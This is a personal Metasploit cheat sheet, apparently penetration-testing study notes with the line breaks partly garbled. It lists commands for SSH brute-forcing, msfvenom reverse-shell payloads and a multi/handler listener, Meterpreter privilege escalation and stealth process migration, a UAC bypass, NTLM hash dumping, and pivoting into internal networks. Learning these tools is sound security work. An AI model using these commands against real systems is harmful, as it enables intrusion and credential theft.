Setup and Navigate Metasploit
sudo msfdb init
, sudo systemctl enable postgresql
sudo msfdb reinit
db_status
in the console to checkworkspace
- create workspaces when pentesting a clientdb_nmap
- works like regular nmap, but stores results in the db
hosts
for hosts and services
for servicesshow -h
to show all modules, like exploits
, payloads
, and auxiliary
Auxiliary Modules
search
to search through the modules, with type
to specify the module type
search type:auxiliary smb
or search Apache 2.4.41
use
to use a module with a given index from a search
use /auxiliary/scanner/ssh/ssh_login
to brute force sshinfo
to get information about the current moduleshow options
to give options that the module can useset {option} {parameter}
to set an option to a given parameter, like RHOSTS to an IP
unset
to unset/payload/linux/x86/shell_reverse_tcp
)vulns
to see if any vulnerabilities have been automatically detectedcreds
to show any discovered credsrun -j
to run a job in the background and create a session for one clientsessions
can switch between shells
sessions -l
to list available sessionssessions -i {session_number}
to switch (interact) with a sessionSearchSploit
sudo apt install exploitdb
searchsploit {string}
-m
Staged/Non-Stated Payloads
/
means that it’s non-staged (e.g. shell_reverse_tcp
)/
indicates a staged payload (e.g. shell/reverse_tcp
)show payloads
to see a list of all payloads
set payload {index}
to set a payload after showing themMeterpreter
help
to display commands in shellsysinfo
and getuid
to gather system datal
before any command to run it on kalisessions
in msfshell
and Ctrl+Z to push a channel to the backgroundchannel -l
to list all channelschannel -i 1
to interact with a channeldownload {file_path}
to download a file from the systemupload {local_file_path} {resulting_file_path}
to upload a file to the systemsearch -f {filename}
to search from /
for a file named {filename}
Executable Payloads
msfvenom
can generate malicious executablesmsfvenom -l payloads --platform {os (windows)} --arch {arch (x86)}
to list payloadsmsfvenom -p {path_to_payload} LHOST={IP} LPORT={kali_listening_port} -f {filetype (exe)} -o {output_executable}
to generate an executableuse multi/handler
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<port> -f c
windows/x64/shell_reverse_tcp
linux/x64/shell_reverse_tcp
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 10.0.0.1
set LPORT 4444
exploit -j
Meterpreter Post-Exploitation Features
idletime
to see how long it’s been since the system was used (e.g. don’t run shit until empty)getsystem
to attempt to elevate privileges to NT AUTHORITY\SYSTEMmigrate {process_id}
- injects meterpreter into another process for stealth and persistence
execute -H -f {process (notepad)}
-H
hides the process, so no visual representation will be presentPost-Exploitation Modules
exploit/windows/local/bypassuac_sdclt
is good for UAC bypassing on Windows
bg
)load
load kiwi
to load an extension equivalent to Mimikatzhelp
to view commands, like creds_msv
to dump NTLM hashessearch post ...
Pivoting with Metasploit
ipconfig
, we can pivot to it with the following:
bg
to background the session in meterpreter and route add {IP.IP.IP.0/24} {session_number}
to add a route to an internal network reachable through a compromised host
route flush
auxiliary/scanner/portscan/tcp
to scan the open ports on the internal IPautoroute
module to set up pivot routes
use multi/manage/autoroute
set session {session_ID}
- can list all sessions with sessions -l
server/socks_proxy
use auxiliary/server/socks_proxy
VERSION
, SRVHOST
as localhost, and run -j
socks5 127.0.0.1 1080
to /etc/proxychains4.conf
xfreerdp
sudo proxychains xfreerdp /v:{internal_target_IP} /u:luiza
portfwd
sessions -i {session #}
portfwd add -l {local_port} -p {remote_port} -r {int_IP}
Resource Scripts
-r
set AutoRunScript {module (/post/windows/manage/migrate)}
set ExitOnSession
to false to keep the multi/handler listening after a connection-z
and -j
to put the job in the background and stop us from interacting/usr/share/metasploit-framework/scripts/resource